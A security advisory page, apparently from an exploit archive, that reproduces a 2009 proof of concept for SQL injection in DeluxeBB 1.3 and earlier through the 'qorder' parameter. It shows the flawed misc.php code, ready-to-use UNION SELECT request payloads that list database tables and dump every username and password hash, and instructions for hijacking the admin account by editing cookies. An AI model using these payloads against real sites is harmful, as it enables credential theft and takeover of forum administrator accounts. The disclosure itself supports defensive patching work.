DeluxeBB <= 1.3 (qorder) Remote SQL Injection Vulnerability

2009.03.24
Credit: girex
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Author: girex # Homepage: girex.altervista.org # Date: 18/03/2009 # CMS: DeluxeBB 1.3 and prior # site: deluxebb.com # NOTE: - Works regardless of php.ini settings - This SQL injection will shows you username and md5 of ALL registered users of the site. - This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. ---------------------------------------------------------------------------------------- # Vuln description: # DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function # used in header.php. I think this is a very bad practice. Attacker doesn't need # register_globals turned On, and in this case that i'm showing you magic_quotes # turned Off too. # file: misc.php lines: 461-464 if($order == "name") { $qorder = "ORDER BY username"; } if($order == "regdate") { $qorder = "ORDER BY joineddate"; } if($order == "posts") { $qorder = "ORDER BY posts"; } if($order == "lastpost") { $qorder = "ORDER BY lastpost"; } # This sequence of if does not provide an else.. # file: misc.php line: 490 $getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." <== ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]); # An attacker can set an arbitrary value to the var $qorder if $order # has a value not expected. ---------------------------------------------------------------------------------------- # PoC: # I reccomend to use first of all this SQL Injection to retrieve all table's name # of the database thanks to informatin_schema. You can use it to retrieve the table prefix # of the CMS. GET [target]/[path]/misc.php?sub=memberlist&order=1& qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+ FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1 ---------------------------------------------------------------------------------------- # Real PoC: # This SQL Injection will shows you ALL usernames and password hashes of the CMS. GET [target]/[path]/misc.php?sub=memberlist&order=1& qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+ FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1 ---------------------------------------------------------------------------------------- # NOTE: to get admin's access edit your cookies: # memberid => victim's id # membercookie => victim's username # memberpw => victim's md5 ---------------------------------------------------------------------------------------- girex


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top